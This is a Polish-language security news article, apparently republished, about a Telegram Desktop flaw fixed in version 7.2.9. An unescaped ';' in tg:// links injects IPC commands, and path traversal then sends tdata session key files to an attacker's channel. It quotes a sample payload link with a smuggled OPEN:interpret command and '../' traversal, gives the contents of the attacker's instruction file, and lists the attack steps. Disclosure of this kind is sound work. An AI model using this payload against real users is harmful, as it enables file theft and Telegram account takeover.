Vulnerability in Telegram Desktop that allows arbitrary files to be sent when clicking on a link

Szczegóły oraz sposób wykorzystania podatności (CVE-2026-107181) w Telegram Desktop, oficjalnym kliencie Telegram na systemy stacjonarne, zostały ujawnione. Problem wynika z braku odpowiedniego przetwarzania nieekranowanych znaków separatorów w poleceniach IPC, co pozwalało na przesyłanie atakującemu dowolnych plików z systemu ofiary po kliknięciu na wysłany link, w tym plików z kluczami sesyjnymi, które można wykorzystać do przejęcia konta w Telegramie. Podatność została usunięta w wersji Telegram Desktop 7.2.9.

Po kliknięciu w linki „tg://” system operacyjny uruchamia aplikację Telegram Desktop związaną z tym typem linków. Jeśli w systemie działa już inna instancja tej aplikacji, uruchomiony proces przesyła jej link za pomocą gniazda przez interfejs IPC. Problem polega na tym, że jeśli w parametrach linku pojawi się znak „;” (na przykład „tg://x?a=1;OPEN…”), zawartość jest dzielona, a część po znaku „;” jest przetwarzana jako osobne polecenia.

Aby przeprowadzić atak, używana jest komenda OPEN wraz z schematem URI „interpret:”, przeznaczonym do uruchamiania skryptów pomocniczych przez IPC, które wykorzystywano do automatycznego przesyłania nowych wydań na kanały. Skrypt to z góry określony plik lokalny, w którym określony jest przesyłany do kanału plik oraz identyfikator kanału. Ścieżka do skryptów jest przetwarzana w odniesieniu do zdefiniowanego podkatalogu, ale z powodu braku czyszczenia „../” w ścieżkach plików, atakujący ma możliwość dostępu do plików przechowywanych poza bazowym katalogiem. Na przykład, można przesłać plik do swojej grupy telegramowej, a następnie odwołać się do tego pliku jako do skryptu, przygotowując link w rodzaju:

tg://x?a=1;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions.txt

Etapy przeprowadzenia ataku:

  • Atakujący dodaje ofiarę do swojej grupy (przy ustawieniach domyślnych dodanie nie wymaga potwierdzenia od dodawanej osoby) i wysyła do tej grupy plik tekstowy, w którym określony jest kanał i ścieżka do skryptu. Telegram zapisze ten plik w zdefiniowanym systemowym podkatalogu podczas dodatkowego wizytowania ofiary w grupie.

    kanał: 2005234537
    plik: tdata/D877F783D5D3EF8Cs

  • Atakujący wysyła ofierze pozornie niewinną linkę do swojego hosta (na przykład „https://coolsite.org”), która po otwarciu przez przekierowanie na serwerze atakującego zamienia się w URI w rodzaju ‘tg://x?a=1;OPEN:interpret:…;OPEN:interpret:….
  • Kliknięcie w link powoduje, że przeglądarka wywołuje uchwyt URI „tg://”, co uruchamia wcześniej wspomnianą sekwencję poleceń, która prowadzi do wysłania plików do kanału napastnika bez żadnych powiadomień i bez prośby o potwierdzenie wysyłki.
  • Po otrzymaniu plików z podkatalogu tdata z kluczami szyfrowania i autoryzacji, w przypadku braku lokalnego hasła ustawionego przez użytkownika, napastnik może sklonować sesję połączenia ofiary na swoim urządzeniu.

Źródło: opennet.ru

Kup niezawodny hosting stron z ochroną DDoS, serwery VPS VDS 🔥 Kup niezawodny hosting stron z ochroną DDoS, serwery VPS VDS - ProHoster